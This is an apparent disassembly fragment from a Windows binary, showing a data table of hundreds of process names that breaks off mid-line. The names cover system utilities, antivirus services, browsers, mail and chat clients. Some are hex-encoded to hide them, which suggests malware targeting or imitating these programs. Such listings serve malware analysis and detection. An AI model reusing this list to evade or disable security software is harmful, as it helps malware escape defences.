offset aWordpad_exe ; "wordpad.exe" dd offset aSteam_exe ; "steam.exe" dd offset aAutoexec_bat ; "AUTOEXEC.BAT" dd offset aWmpnscfg_exe ; "wmpnscfg.exe" dd offset aNotepad_exe_0 ; "notepad.exe" dd offset aWvsscheduler_e ; "WVSScheduler.exe" dd offset dword_449190 dd offset dword_449180 dd offset dword_449170 dd offset dword_449164 dd offset dword_449158 dd offset dword_449150 dd offset dword_449144 dd offset dword_449138 dd offset dword_44912C dd offset dword_44911C dd offset dword_449110 dd offset dword_449100 dd offset dword_4490F4 dd offset dword_4490E8 dd offset dword_4490D8 dd offset aUninstall__exe ; "uninstall_.exe" dd offset aTrkwkss_exe ; "trkwkss.exe" dd offset aWuaucpl_exe ; "wuaucpl.exe" dd offset aTrkwksvc_exe ; "trkwksvc.exe" dd offset aWmssvc_exe ; "wmssvc.exe" dd offset aWmsncs_exe ; "wmsncs.exe" dd offset aWiadss_exe ; "wiadss.exe" dd offset aWmsnchrs_exe ; "wmsnchrs.exe" dword_4490D8 dd 6C706D77h, 72657961h, 6578652Eh, 0dword_4490E8 dd 726E6977h, 652E7261h, 6578hdword_4490F4 dd 69766F6Dh, 2E6B6D65h, 657865hdword_449100 dd 61677661h, 7276736Dh, 6578652Eh, 0dword_449110 dd 63677661h, 78652E63h, 65hdword_44911C dd 75677661h, 63767370h, 6578652Eh, 0dword_44912C dd 63617061h, 652E6568h, 6578hdword_449138 dd 70616D6Eh, 6578652Eh, 0dword_449144 dd 74747570h, 78652E79h, 65hdword_449150 dd 63732E2Ah, 72hdword_449158 dd 7A6E6977h, 652E7069h, 6578hdword_449164 dd 65747563h, 2E707466h, 657865hdword_449170 dd 73616C66h, 70786668h, 6578652Eh, 0dword_449180 dd 54616554h, 72656D69h, 6578652Eh, 0dword_449190 dd 7253534Ch, 652E6376h, 6578haWvsscheduler_e db 'WVSScheduler.exe',0 ; DATA XREF: .text:00449078o align 10h aWmpnscfg_exe db 'wmpnscfg.exe',0 ; DATA XREF: .text:00449070o align 10h aAutoexec_bat db 'AUTOEXEC.BAT',0 ; DATA XREF: .text:0044906Co align 10h aSteam_exe db 'steam.exe',0 ; DATA XREF: .text:00449068o align 4 aWordpad_exe db 'wordpad.exe',0 ; DATA XREF: .text:00449064o aCcsetmgr_exe db 'ccsetmgr.exe',0 ; DATA XREF: .text:0044905Co align 4 aCcevtmgr_exe db 'ccevtmgr.exe',0 ; DATA XREF: .text:00449058o align 4 aAim_exe db 'aim.exe',0 ; DATA XREF: .text:00449054o aCcapp_exe db 'ccapp.exe',0 ; DATA XREF: .text:00449050o align 4 aRtvscan_exe db 'rtvscan.exe',0 ; DATA XREF: .text:0044904Co aDefwatch_exe db 'defwatch.exe',0 ; DATA XREF: .text:00449048o align 4 aMsoe_exe db 'msoe.exe',0 ; DATA XREF: .text:00449044o align 4 aMsimn_exe db 'msimn.exe',0 ; DATA XREF: .text:00449040o align 10h aThunderbird_ex db 'thunderbird.exe',0 ; DATA XREF: .text:00449038o aFirefox_exe db 'firefox.exe',0 ; DATA XREF: .text:00449034o aXchat_exe db 'xchat.exe',0 ; DATA XREF: .text:00449030o align 4 aMirc_exe db 'mirc.exe',0 ; DATA XREF: .text:0044902Co align 4 aMsmsgs_exe db 'msmsgs.exe',0 ; DATA XREF: .text:00449028o align 10h aWmiprvse_exe db 'wmiprvse.exe',0 ; DATA XREF: .text:00449024o align 10h aMsnmsgr_exe db 'msnmsgr.exe',0 ; DATA XREF: .text:00449020o aMswupd_exe db 'mswupd.exe',0 ; DATA XREF: .text:0044901Co align 4 aMsxml32_exe db 'msxml32.exe',0 ; DATA XREF: .text:00449018o aWmpcodecs_exe db 'wmpcodecs.exe',0 ; DATA XREF: .text:00449014o align 4 aSound_exe db '*sound*.exe',0 ; DATA XREF: .text:00449004o aHtpatch_exe db 'htpatch.exe',0 ; DATA XREF: .text:00448FF4o aWinhelp_exe db 'winhelp.exe',0 ; DATA XREF: .text:00448FE8o aTaskman_exe db 'TASKMAN.EXE',0 ; DATA XREF: .text:00448FDCo aSt6unst_exe db 'ST6UNST.EXE',0 ; DATA XREF: .text:00448FD8o aSoundman_exe db 'SOUNDMAN.EXE',0 ; DATA XREF: .text:00448FD4o align 10h aSetup1_exe db 'Setup1.exe',0 ; DATA XREF: .text:00448FD0o align 4 aSetdebug_exe db 'setdebug.exe',0 ; DATA XREF: .text:00448FCCo align 4 aRegtlib_exe db 'REGTLIB.EXE',0 ; DATA XREF: .text:00448FC8o aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .text:00448FC4o aNotepad_exe db 'NOTEPAD.EXE',0 ; DATA XREF: .text:00448FC0o aIun6002_exe db 'iun6002.exe',0 ; DATA XREF: .text:00448FBCo aIsuninst_exe db 'IsUninst.exe',0 ; DATA XREF: .text:00448FB8o align 4 aHh_exe db 'hh.exe',0 ; DATA XREF: .text:00448FB4o align 4 aExplorer_exe_0 db 'explorer.exe',0 ; DATA XREF: .text:00448FB0o align 4 aAlcupd_exe db 'alcupd.exe',0 ; DATA XREF: .text:00448FACo align 10h aAlcrmv_exe db 'alcrmv.exe',0 ; DATA XREF: .text:00448FA8o align 4 aRtlupd_exe db 'RtlUpd.exe',0 ; DATA XREF: .text:00448FA4o align 4 aMiccal_exe db 'MicCal.exe',0 ; DATA XREF: .text:00448FA0o align 4 aRthdcpl_exe db 'RTHDCPL.EXE',0 ; DATA XREF: .text:00448F98o aAlcwzrd_exe db 'ALCWZRD.EXE',0 ; DATA XREF: .text:00448F90o aAlcmtr_exe db 'ALCMTR.EXE',0 ; DATA XREF: .text:00448F8Co align 4 aWrvmchars_exe db 'wrvmchars.exe',0 ; DATA XREF: .text:00448F7Co align 4 aWmsnchrs_exe db 'wmsnchrs.exe',0 ; DATA XREF: .text:00448F78o ; .text:004490D4o align 4 aWiadss_exe db 'wiadss.exe',0 ; DATA XREF: .text:00448F74o ; .text:004490D0o align 4 aWmsncs_exe db 'wmsncs.exe',0 ; DATA XREF: .text:00448F70o ; .text:004490CCo align 10h aWmssvc_exe db 'wmssvc.exe',0 ; DATA XREF: .text:00448F6Co ; .text:004490C8o align 4 aTrkwksvc_exe db 'trkwksvc.exe',0 ; DATA XREF: .text:00448F68o ; .text:004490C4o align 4 aWuaucpl_exe db 'wuaucpl.exe',0 ; DATA XREF: .text:00448F64o ; .text:004490C0o aTrkwkss_exe db 'trkwkss.exe',0 ; DATA XREF: .text:00448F60o ; .text:004490BCo aUninstall__exe db 'uninstall_.exe',0 ; DATA XREF: .text:00448F5Co ; .text:004490B8o align 4 aHidserv_exe db 'hidserv.exe',0 ; DATA XREF: .text:00448F58o aSlsvc_exe db 'slsvc.exe',0 ; DATA XREF: .text:00448F54o align 4 aSdclt_exe db 'sdclt.exe',0 ; DATA XREF: .text:00448F50o align 4 aRegsvc_exe db 'regsvc.exe',0 ; DATA XREF: .text:00448F4Co align 4 aMssearch_exe db 'mssearch.exe',0 ; DATA XREF: .text:00448F48o align 4 aMdm_exe db 'mdm.exe',0 ; DATA XREF: .text:00448F44o aLsm_exe db 'lsm.exe',0 ; DATA XREF: .text:00448F40o aDwm_exe db 'dwm.exe',0 ; DATA XREF: .text:00448F3Co aLexbces_exe db 'lexbces.exe',0 ; DATA XREF: .text:00448F38o aLoadqm_exe db 'loadqm.exe',0 ; DATA XREF: .text:00448F34o align 4 aSmax4pnp_exe db 'smax4pnp.exe',0 ; DATA XREF: .text:00448F30o ; .text:00449000o align 4 aTphkmgr_exe db 'TPHKMGR.exe',0 ; DATA XREF: .text:00448F2Co aCli_exe db 'cli.exe',0 ; DATA XREF: .text:00448F28o aHpzipm12_exe db 'HPZipm12.exe',0 ; DATA XREF: .text:00448F24o align 4 aNhksrv_exe db 'nhksrv.exe',0 ; DATA XREF: .text:00448F20o align 4 aHpcmpmgr_exe db 'hpcmpmgr.exe',0 ; DATA XREF: .text:00448F1Co align 4 aHpsysdrv_exe db 'hpsysdrv.exe',0 ; DATA XREF: .text:00448F18o align 4 aNmssvc_exe db 'nmssvc.exe',0 ; DATA XREF: .text:00448F14o align 10h aSmagent_exe db 'smagent.exe',0 ; DATA XREF: .text:00448F10o ; .text:00448FFCo aMstask_exe db 'mstask.exe',0 ; DATA XREF: .text:00448F0Co align 4 aPctspk_exe db 'pctspk.exe',0 ; DATA XREF: .text:00448F08o align 4 aIgfxtray_exe db 'igfxtray.exe',0 ; DATA XREF: .text:00448F04o align 4 aIgfxpers_exe db 'igfxpers.exe',0 ; DATA XREF: .text:00448F00o align 4 aInetinfo_exe db 'inetinfo.exe',0 ; DATA XREF: .text:00448EFCo align 4 aCrypserv_exe db 'crypserv.exe',0 ; DATA XREF: .text:00448EF8o align 4 aWisptis_exe db 'wisptis.exe',0 ; DATA XREF: .text:00448EF4o aQttask_exe db 'qttask.exe',0 ; DATA XREF: .text:00448EF0o align 4 aPoint32_exe db 'point32.exe',0 ; DATA XREF: .text:00448EECo ; .text:00448FF8o aJusched_exe db 'jusched.exe',0 ; DATA XREF: .text:00448EE8o aHotkey_exe db 'hotkey.exe',0 ; DATA XREF: .text:00448EE4o align 10h aHkcmd_exe db 'hkcmd.exe',0 ; DATA XREF: .text:00448EE0o align 4 aTaskeng_exe db 'taskeng.exe',0 ; DATA XREF: .text:00448EDCo aWercon_exe db 'wercon.exe',0 ; DATA XREF: .text:00448ED8o align 4 aWinmgmt_exe db 'winmgmt.exe',0 ; DATA XREF: .text:00448ED4o aWmiexe_exe db 'wmiexe.exe',0 ; DATA XREF: .text:00448ED0o align 4 aPenservice_exe db 'penservice.exe',0 ; DATA XREF: .text:00448ECCo align 4 aWudfhost_exe db 'WUDFHost.exe',0 ; DATA XREF: .text:00448EC8o align 4 aInternat_exe db 'internat.exe',0 ; DATA XREF: .text:00448EC0o align 4 aDevldr32_exe db 'devldr32.exe',0 ; DATA XREF: .text:00448EBCo align 4 aSystem_1 db 'System',0 ; DATA XREF: .text:00448EB8o ; .text:00448FF0o align 4 aSstext3d_scr db 'sstext3d.scr',0 ; DATA XREF: .text:00448EB4o align 4 aSsstars_scr db 'ssstars.scr',0 ; DATA XREF: .text:00448EB0o aSspipes_scr db 'sspipes.scr',0 ; DATA XREF: .text:00448EACo aSsmyst_scr db 'ssmyst.scr',0 ; DATA XREF: .text:00448EA8o align 4 aSsmypics_scr db 'ssmypics.scr',0 ; DATA XREF: .text:00448EA4o align 4 aSsmarque_scr db 'ssmarque.scr',0 ; DATA XREF: .text:00448EA0o align 4 aSsflwbox_scr db 'ssflwbox.scr',0 ; DATA XREF: .text:00448E9Co align 4 aSsbezier_scr db 'ssbezier.scr',0 ; DATA XREF: .text:00448E98o align 4 aSs3dfo_scr db 'ss3dfo.scr',0 ; DATA XREF: .text:00448E94o align 4 aSeismosaver_sc db 'SeismoSaver.scr',0 ; DATA XREF: .text:00448E90o aScrnsave_scr db 'scrnsave.scr',0 ; DATA XREF: .text:00448E8Co align 4 aLogon_scr db 'logon.scr',0 ; DATA XREF: .text:00448E88o align 10h aAcdsee_scr db 'ACDSee.scr',0 ; DATA XREF: .text:00448E84o align 4 aXcopy_exe db 'xcopy.exe',0 ; DATA XREF: .text:00448E80o align 4 aWupdmgr_exe db 'wupdmgr.exe',0 ; DATA XREF: .text:00448E7Co aWuauclt1_exe db 'wuauclt1.exe',0 ; DATA XREF: .text:00448E78o align 4 aWuauclt_exe db 'wuauclt.exe',0 ; DATA XREF: .text:00448E74o aWscript_exe db 'wscript.exe',0 ; DATA XREF: .text:00448E70o aWscntfy_exe db 'wscntfy.exe',0 ; DATA XREF: .text:00448E6Co aWrite_exe db 'write.exe',0 ; DATA XREF: .text:00448E68o align 4 aWpnpinst_exe db 'wpnpinst.exe',0 ; DATA XREF: .text:00448E64o align 4 aWpabaln_exe db 'wpabaln.exe',0 ; DATA XREF: .text:00448E60o aWowexec_exe db 'wowexec.exe',0 ; DATA XREF: .text:00448E5Co aWowdeb_exe db 'wowdeb.exe',0 ; DATA XREF: .text:00448E58o align 4 aWjview_exe db 'wjview.exe',0 ; DATA XREF: .text:00448E54o align 4 aWinver_exe db 'winver.exe',0 ; DATA XREF: .text:00448E50o align 10h aWinspool_exe db 'winspool.exe',0 ; DATA XREF: .text:00448E4Co align 10h aWinmsd_exe db 'winmsd.exe',0 ; DATA XREF: .text:00448E48o align 4 aWinmine_exe db 'winmine.exe',0 ; DATA XREF: .text:00448E44o aWinhlp32_exe db 'winhlp32.exe',0 ; DATA XREF: .text:00448E40o ; .text:00448FECo align 4 aWindbver_exe db 'WINDBVER.EXE',0 ; DATA XREF: .text:00448E3Co align 4 aWinchat_exe db 'winchat.exe',0 ; DATA XREF: .text:00448E38o aWiaacmgr_exe db 'wiaacmgr.exe',0 ; DATA XREF: .text:00448E34o align 4 aWextract_exe db 'wextract.exe',0 ; DATA XREF: .text:00448E30o align 4 aW32tm_exe db 'w32tm.exe',0 ; DATA XREF: .text:00448E2Co align 10h aVwipxspx_exe db 'vwipxspx.exe',0 ; DATA XREF: .text:00448E28o align 10h aVssvc_exe db 'vssvc.exe',0 ; DATA XREF: .text:00448E24o align 4 aVssadmin_exe db 'vssadmin.exe',0 ; DATA XREF: .text:00448E20o align 4 aViral_exe db 'viral.exe',0 ; DATA XREF: .text:00448E1Co align 4 aVerifier_exe db 'verifier.exe',0 ; DATA XREF: .text:00448E18o align 4 aVerclsid_exe db 'verclsid.exe',0 ; DATA XREF: .text:00448E14o align 4 aUtilman_exe db 'utilman.exe',0 ; DATA XREF: .text:00448E10o aUsrshuta_exe db 'usrshuta.exe',0 ; DATA XREF: .text:00448E0Co align 4 aUsrprbda_exe db 'usrprbda.exe',0 ; DATA XREF: .text:00448E08o align 4 aUsrmlnka_exe db 'usrmlnka.exe',0 ; DATA XREF: .text:00448E04o align 4 aUserinit_exe db 'userinit.exe',0 ; DATA XREF: .text:00448E00o align 4 aUser_exe db 'user.exe',0 ; DATA XREF: .text:00448DFCo align 10h aUps_exe db 'ups.exe',0 ; DATA XREF: .text:00448DF8o aUpnpcont_exe db 'upnpcont.exe',0 ; DATA XREF: .text:00448DF4o align 4 aUnlodctr_exe db 'unlodctr.exe',0 ; DATA XREF: .text:00448DF0o align 4 aTypeperf_exe db 'typeperf.exe',0 ; DATA XREF: .text:00448DECo align 4 aTwunk_32_exe db 'twunk_32.exe',0 ; DATA XREF: .text:00448DE8o ; .text:00448FE4o align 4 aTwunk_16_exe db 'twunk_16.exe',0 ; DATA XREF: .text:00448DE4o ; .text:00448FE0o align 4 aTsshutdn_exe db 'tsshutdn.exe',0 ; DATA XREF: .text:00448DE0o align 4 aTskill_exe db 'tskill.exe',0 ; DATA XREF: .text:00448DDCo align 4 aTsdiscon_exe db 'tsdiscon.exe',0 ; DATA XREF: .text:00448DD8o align 4 aTscupgrd_exe db 'tscupgrd.exe',0 ; DATA XREF: .text:00448DD4o align 4 aTscon_exe db 'tscon.exe',0 ; DATA XREF: .text:00448DD0o align 10h aTracert6_exe db 'tracert6.exe',0 ; DATA XREF: .text:00448DCCo align 10h aTracert_exe db 'tracert.exe',0 ; DATA XREF: .text:00448DC8o aTracerpt_exe db 'tracerpt.exe',0 ; DATA XREF: .text:00448DC4o align 4 aTourstart_exe db 'tourstart.exe',0 ; DATA XREF: .text:00448DC0o align 4 aTlntsvr_exe db 'tlntsvr.exe',0 ; DATA XREF: .text:00448DBCo aTlntsess_exe db 'tlntsess.exe',0 ; DATA XREF: .text:00448DB8o align 4 aTlntadmn_exe db 'tlntadmn.exe',0 ; DATA XREF: .text:00448DB4o align 4 aTftp_exe db 'tftp.exe',0 ; DATA XREF: .text:00448DB0o align 4 aTelnet_exe db 'telnet.exe',0 ; DATA XREF: .text:00448DACo align 10h aTcpsvcs_exe db 'tcpsvcs.exe',0 ; DATA XREF: .text:00448DA8o aTcmsetup_exe db 'tcmsetup.exe',0 ; DATA XREF: .text:00448DA4o align 4 aTaskmgr_exe db 'taskmgr.exe',0 ; DATA XREF: .text:00448DA0o aTaskman_exe_0 db 'taskman.exe',0 ; DATA XREF: .text:00448D9Co aTasklist_exe db 'tasklist.exe',0 ; DATA XREF: .text:00448D98o align 4 aTaskkill_exe db 'taskkill.exe',0 ; DATA XREF: .text:00448D94o align 4 aSystray_exe db 'systray.exe',0 ; DATA XREF: .text:00448D90o aSysteminfo_exe db 'systeminfo.exe',0 ; DATA XREF: .text:00448D8Co align 10h aSysocmgr_exe db 'sysocmgr.exe',0 ; DATA XREF: .text:00448D88o align 10h aSyskey_exe db 'syskey.exe',0 ; DATA XREF: .text:00448D84o align 4 aSysedit_exe db 'sysedit.exe',0 ; DATA XREF: .text:00448D80o aSyncapp_exe db 'syncapp.exe',0 ; DATA XREF: .text:00448D7Co aSvchost_exe db 'svchost.exe',0 ; DATA XREF: .text:00448D78o aSubst_exe db 'subst.exe',0 ; DATA XREF: .text:00448D74o align 4 aSubrange_uce db 'subrange.uce',0 ; DATA XREF: .text:00448D70o align 4 aStimon_exe db 'stimon.exe',0 ; DATA XREF: .text:00448D6Co align 4 aSpupdsvc_exe db 'spupdsvc.exe',0 ; DATA XREF: .text:00448D68o align 4 aSprestrt_exe db 'sprestrt.exe',0 ; DATA XREF: .text:00448D64o align 4 aSpoolsv_exe db 'spoolsv.exe',0 ; DATA XREF: .text:00448D60o aSpnpinst_exe db 'spnpinst.exe',0 ; DATA XREF: .text:00448D5Co align 4 aSpiisupd_exe db 'spiisupd.exe',0 ; DATA XREF: .text:00448D58o align 4 aSpider_exe db 'spider.exe',0 ; DATA XREF: .text:00448D54o align 10h aSort_exe db 'sort.exe',0 ; DATA XREF: .text:00448D50o align 4 aSol_exe db 'sol.exe',0 ; DATA XREF: .text:00448D4Co aSndvol32_exe db 'sndvol32.exe',0 ; DATA XREF: .text:00448D48o align 4 aSndrec32_exe db 'sndrec32.exe',0 ; DATA XREF: .text:00448D44o align 4 aSmss_exe db 'smss.exe',0 ; DATA XREF: .text:00448D40o align 10h aSmlogsvc_exe db 'smlogsvc.exe',0 ; DATA XREF: .text:00448D3Co align 10h aSmbinst_exe db 'smbinst.exe',0 ; DATA XREF: .text:00448D38o aSkeys_exe db 'skeys.exe',0 ; DATA XREF: .text:00448D34o align 4 aSigverif_exe db 'sigverif.exe',0 ; DATA XREF: .text:00448D30o align 4 aShutdown_exe db 'shutdown.exe',0 ; DATA XREF: .text:00448D2Co align 4 aShrpubw_exe db 'shrpubw.exe',0 ; DATA XREF: .text:00448D28o aShmgrate_exe db 'shmgrate.exe',0 ; DATA XREF: .text:00448D24o align 4 aShare_exe db 'share.exe',0 ; DATA XREF: .text:00448D20o align 10h aShadow_exe db 'shadow.exe',0 ; DATA XREF: .text:00448D1Co align 4 aSfc_exe db 'sfc.exe',0 ; DATA XREF: .text:00448D18o aSetver_exe db 'setver.exe',0 ; DATA XREF: .text:00448D14o align 10h aSetup_exe db 'setup.exe',0 ; DATA XREF: .text:00448D10o align 4 aSethc_exe db 'sethc.exe',0 ; DATA XREF: .text:00448D0Co align 4 aSessmgr_exe db 'sessmgr.exe',0 ; DATA XREF: .text:00448D08o aServices_exe db 'services.exe',0 ; DATA XREF: .text:00448D04o align 4 aSecedit_exe db 'secedit.exe',0 ; DATA XREF: .text:00448D00o aSdbinst_exe db 'sdbinst.exe',0 ; DATA XREF: .text:00448CFCo aSchtasks_exe db 'schtasks.exe',0 ; DATA XREF: .text:00448CF8o align 4 aScardsvr_exe db 'scardsvr.exe',0 ; DATA XREF: .text:00448CF4o align 4 aSc_exe db 'sc.exe',0 ; DATA XREF: .text:00448CF0o align 4 aSavedump_exe db 'savedump.exe',0 ; DATA XREF: .text:00448CECo align 4 aRwinsta_exe db 'rwinsta.exe',0 ; DATA XREF: .text:00448CE8o aRunonce_exe db 'runonce.exe',0 ; DATA XREF: .text:00448CE4o aRundll32_exe db 'rundll32.exe',0 ; DATA XREF: .text:00448CE0o align 4 aRunas_exe db 'runas.exe',0 ; DATA XREF: .text:00448CDCo align 4 aRtlcpl_exe db 'RTLCPL.EXE',0 ; DATA XREF: .text:00448CD8o ; .text:00448F9Co align 4 aRtcshare_exe db 'rtcshare.exe',0 ; DATA XREF: .text:00448CD4o align 4 aRsvp_exe db 'rsvp.exe',0 ; DATA XREF: .text:00448CD0o align 10h aRsopprov_exe db 'rsopprov.exe',0 ; DATA XREF: .text:00448CCCo align 10h aRsnotify_exe db 'rsnotify.exe',0 ; DATA XREF: .text:00448CC8o align 10h aRsmui_exe db 'rsmui.exe',0 ; DATA XREF: .text:00448CC4o align 4 aRsmsink_exe db 'rsmsink.exe',0 ; DATA XREF: .text:00448CC0o aRsm_exe db 'rsm.exe',0 ; DATA XREF: .text:00448CBCo aRsh_exe db 'rsh.exe',0 ; DATA XREF: .text:00448CB8o aRoutemon_exe db 'routemon.exe',0 ; DATA XREF: .text:00448CB4o align 4 aRoute_exe db 'route.exe',0 ; DATA XREF: .text:00448CB0o align 4 aRexec_exe db 'rexec.exe',0 ; DATA XREF: .text:00448CACo align 10h aReset_exe db 'reset.exe',0 ; DATA XREF: .text:00448CA8o align 4 aReplace_exe db 'replace.exe',0 ; DATA XREF: .text:00448CA4o aRelog_exe db 'relog.exe',0 ; DATA XREF: .text:00448CA0o align 4 aRegwiz_exe db 'regwiz.exe',0 ; DATA XREF: .text:00448C9Co align 10h aRegsvr32_exe db 'regsvr32.exe',0 ; DATA XREF: .text:00448C98o align 10h aRegini_exe db 'regini.exe',0 ; DATA XREF: .text:00448C94o align 4 aRegedt32_exe db 'regedt32.exe',0 ; DATA XREF: .text:00448C90o align 4 aRegcladm_exe db 'REGCLADM.EXE',0 ; DATA XREF: .text:00448C8Co align 4 aReg_exe db 'reg.exe',0 ; DATA XREF: .text:00448C88o aRedir_exe db 'redir.exe',0 ; DATA XREF: .text:00448C84o align 10h aRecover_exe db 'recover.exe',0 ; DATA XREF: .text:00448C80o aRdshost_exe db 'rdshost.exe',0 ; DATA XREF: .text:00448C7Co aRdsaddin_exe db 'rdsaddin.exe',0 ; DATA XREF: .text:00448C78o align 4 aRdpclip_exe db 'rdpclip.exe',0 ; DATA XREF: .text:00448C74o aRcp_exe db 'rcp.exe',0 ; DATA XREF: .text:00448C70o aRcimlby_exe db 'rcimlby.exe',0 ; DATA XREF: .text:00448C6Co aRasphone_exe db 'rasphone.exe',0 ; DATA XREF: .text:00448C68o align 4 aRasdial_exe db 'rasdial.exe',0 ; DATA XREF: .text:00448C64o aRasautou_exe db 'rasautou.exe',0 ; DATA XREF: .text:00448C60o align 4 aQwinsta_exe db 'qwinsta.exe',0 ; DATA XREF: .text:00448C5Co aQprocess_exe db 'qprocess.exe',0 ; DATA XREF: .text:00448C58o align 10h aQappsrv_exe db 'qappsrv.exe',0 ; DATA XREF: .text:00448C54o aProxycfg_exe db 'proxycfg.exe',0 ; DATA XREF: .text:00448C50o align 4 aProquota_exe db 'proquota.exe',0 ; DATA XREF: .text:00448C4Co align 4 aProgman_exe db 'progman.exe',0 ; DATA XREF: .text:00448C48o aPrint_exe db 'print.exe',0 ; DATA XREF: .text:00448C44o align 4 aPowercfg_exe db 'powercfg.exe',0 ; DATA XREF: .text:00448C40o align 4 aPing6_exe db 'ping6.exe',0 ; DATA XREF: .text:00448C3Co align 10h aPing_exe db 'ping.exe',0 ; DATA XREF: .text:00448C38o align 4 aPerfmon_exe db 'perfmon.exe',0 ; DATA XREF: .text:00448C34o aPentnt_exe db 'pentnt.exe',0 ; DATA XREF: .text:00448C30o align 4 aPathping_exe db 'pathping.exe',0 ; DATA XREF: .text:00448C2Co align 4 aPackager_exe db 'packager.exe',0 ; DATA XREF: .text:00448C28o align 4 aOsuninst_exe db 'osuninst.exe',0 ; DATA XREF: .text:00448C24o align 4 aOsk_exe db 'osk.exe',0 ; DATA XREF: .text:00448C20o aOpenfiles_exe db 'openfiles.exe',0 ; DATA XREF: .text:00448C1Co align 4 aOdbcconf_exe db 'odbcconf.exe',0 ; DATA XREF: .text:00448C18o align 4 aOdbcad32_exe db 'odbcad32.exe',0 ; DATA XREF: .text:00448C14o align 4 aNwscript_exe db 'nwscript.exe',0 ; DATA XREF: .text:00448C10o align 4 aNw16_exe db 'nw16.exe',0 ; DATA XREF: .text:00448C0Co align 4 aNtvdm_exe db 'ntvdm.exe',0 ; DATA XREF: .text:00448C08o align 4 aNtsd_exe db 'ntsd.exe',0 ; DATA XREF: .text:00448C04o align 10h aNtoskrnl_exe db 'ntoskrnl.exe',0 ; DATA XREF: .text:00448C00o align 10h aNtkrnlpa_exe db 'ntkrnlpa.exe',0 ; DATA XREF: .text:00448BFCo align 10h aNtbackup_exe db 'ntbackup.exe',0 ; DATA XREF: .text:00448BF8o align 10h aNslookup_exe db 'nslookup.exe',0 ; DATA XREF: .text:00448BF4o align 10h aNotepad_exe_0 db 'notepad.exe',0 ; DATA XREF: .text:00448BF0o ; .text:00449074o aNlsfunc_exe db 'nlsfunc.exe',0 ; DATA XREF: .text:00448BECo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .text:00448BE8o aNetsh_exe db 'netsh.exe',0 ; DATA XREF: .text:00448BE4o align 10h aNetsetup_exe db 'netsetup.exe',0 ; DATA XREF: .text:00448BE0o align 10h aNetdde_exe db 'netdde.exe',0 ; DATA XREF: .text:00448BDCo align 4 aNet1_exe db 'net1.exe',0 ; DATA XREF: .text:00448BD8o align 4 aNet_exe db 'net.exe',0 ; DATA XREF: .text:00448BD4o aNerocheck_exe db 'NeroCheck.exe',0 ; DATA XREF: .text:00448BD0o align 10h aNddeapir_exe db 'nddeapir.exe',0 ; DATA XREF: .text:00448BCCo align 10h aNbtstat_exe db 'nbtstat.exe',0 ; DATA XREF: .text:00448BC8o aNarrator_exe db 'narrator.exe',0 ; DATA XREF: .text:00448BC4o align 4 aMstsc_exe db 'mstsc.exe',0 ; DATA XREF: .text:00448BC0o align 4 aMstinit_exe db 'mstinit.exe',0 ; DATA XREF: .text:00448BBCo aMsswchx_exe db 'msswchx.exe',0 ; DATA XREF: .text:00448BB8o aMspaint_exe db 'mspaint.exe',0 ; DATA XREF: .text:00448BB4o aMsiexec_exe db 'msiexec.exe',0 ; DATA XREF: .text:00448BB0o aMshta_exe db 'mshta.exe',0 ; DATA XREF: .text:00448BACo align 4 aMshearts_exe db 'mshearts.exe',0 ; DATA XREF: .text:00448BA8o align 4 aMsg_exe db 'msg.exe',0 ; DATA XREF: .text:00448BA4o aMsdtc_exe db 'msdtc.exe',0 ; DATA XREF: .text:00448BA0o align 4 aMscdexnt_exe db 'mscdexnt.exe',0 ; DATA XREF: .text:00448B9Co align 4 aMrt_exe db 'MRT.exe',0 ; DATA XREF: .text:00448B98o aMrinfo_exe db 'mrinfo.exe',0 ; DATA XREF: .text:00448B94o align 4 aMqtgsvc_exe db 'mqtgsvc.exe',0 ; DATA XREF: .text:00448B90o aMqsvc_exe db 'mqsvc.exe',0 ; DATA XREF: .text:00448B8Co align 4 aMqbkup_exe db 'mqbkup.exe',0 ; DATA XREF: .text:00448B88o align 10h aMpnotify_exe db 'mpnotify.exe',0 ; DATA XREF: .text:00448B84o align 10h aMplay32_exe db 'mplay32.exe',0 ; DATA XREF: .text:00448B80o aMountvol_exe db 'mountvol.exe',0 ; DATA XREF: .text:00448B7Co align 4 aMobsync_exe db 'mobsync.exe',0 ; DATA XREF: .text:00448B78o aMnmsrvc_exe db 'mnmsrvc.exe',0 ; DATA XREF: .text:00448B74o aMmc_exe db 'mmc.exe',0 ; DATA XREF: .text:00448B70o aMigpwd_exe db 'migpwd.exe',0 ; DATA XREF: .text:00448B6Co align 4 aMem_exe db 'mem.exe',0 ; DATA XREF: .text:00448B68o aMakecab_exe db 'makecab.exe',0 ; DATA XREF: .text:00448B64o aMagnify_exe db 'magnify.exe',0 ; DATA XREF: .text:00448B60o aLsass_exe db 'lsass.exe',0 ; DATA XREF: .text:00448B5Co align 4 aLpr_exe db 'lpr.exe',0 ; DATA XREF: .text:00448B58o aLpq_exe db 'lpq.exe',0 ; DATA XREF: .text:00448B54o aLogonui_exe db 'logonui.exe',0 ; DATA XREF: .text:00448B50o aLogoff_exe db 'logoff.exe',0 ; DATA XREF: .text:00448B4Co align 4 aLogman_exe db 'logman.exe',0 ; DATA XREF: .text:00448B48o align 4 aLogagent_exe db 'logagent.exe',0 ; DATA XREF: .text:00448B44o align 4 aLodctr_exe db 'lodctr.exe',0 ; DATA XREF: .text:00448B40o align 4 aLocator_exe db 'locator.exe',0 ; DATA XREF: .text:00448B3Co aLnkstub_exe db 'lnkstub.exe',0 ; DATA XREF: .text:00448B38o aLights_exe db 'lights.exe',0 ; DATA XREF: .text:00448B34o align 4 aLabel_exe db 'label.exe',0 ; DATA XREF: .text:00448B30o align 4 aKrnl386_exe db 'krnl386.exe',0 ; DATA XREF: .text:00448B2Co aJview_exe db 'jview.exe',0 ; DATA XREF: .text:00448B28o align 4 aJdbgmgr_exe db 'jdbgmgr.exe',0 ; DATA XREF: .text:00448B24o aJavaws_exe db 'javaws.exe',0 ; DATA XREF: .text:00448B20o align 4 aJavaw_exe db 'javaw.exe',0 ; DATA XREF: .text:00448B1Co align 10h aJava_exe db 'java.exe',0 ; DATA XREF: .text:00448B18o align 4 aIpxroute_exe db 'ipxroute.exe',0 ; DATA XREF: .text:00448B14o align 4 aIpv6_exe db 'ipv6.exe',0 ; DATA XREF: .text:00448B10o align 4 aIpsec6_exe db 'ipsec6.exe',0 ; DATA XREF: .text:00448B0Co align 4 aIpconfig_exe db 'ipconfig.exe',0 ; DATA XREF: .text:00448B08o align 4 aImapi_exe db 'imapi.exe',0 ; DATA XREF: .text:00448B04o align 10h aIexpress_exe db 'iexpress.exe',0 ; DATA XREF: .text:00448B00o align 10h aIe4uinit_exe db 'ie4uinit.exe',0 ; DATA 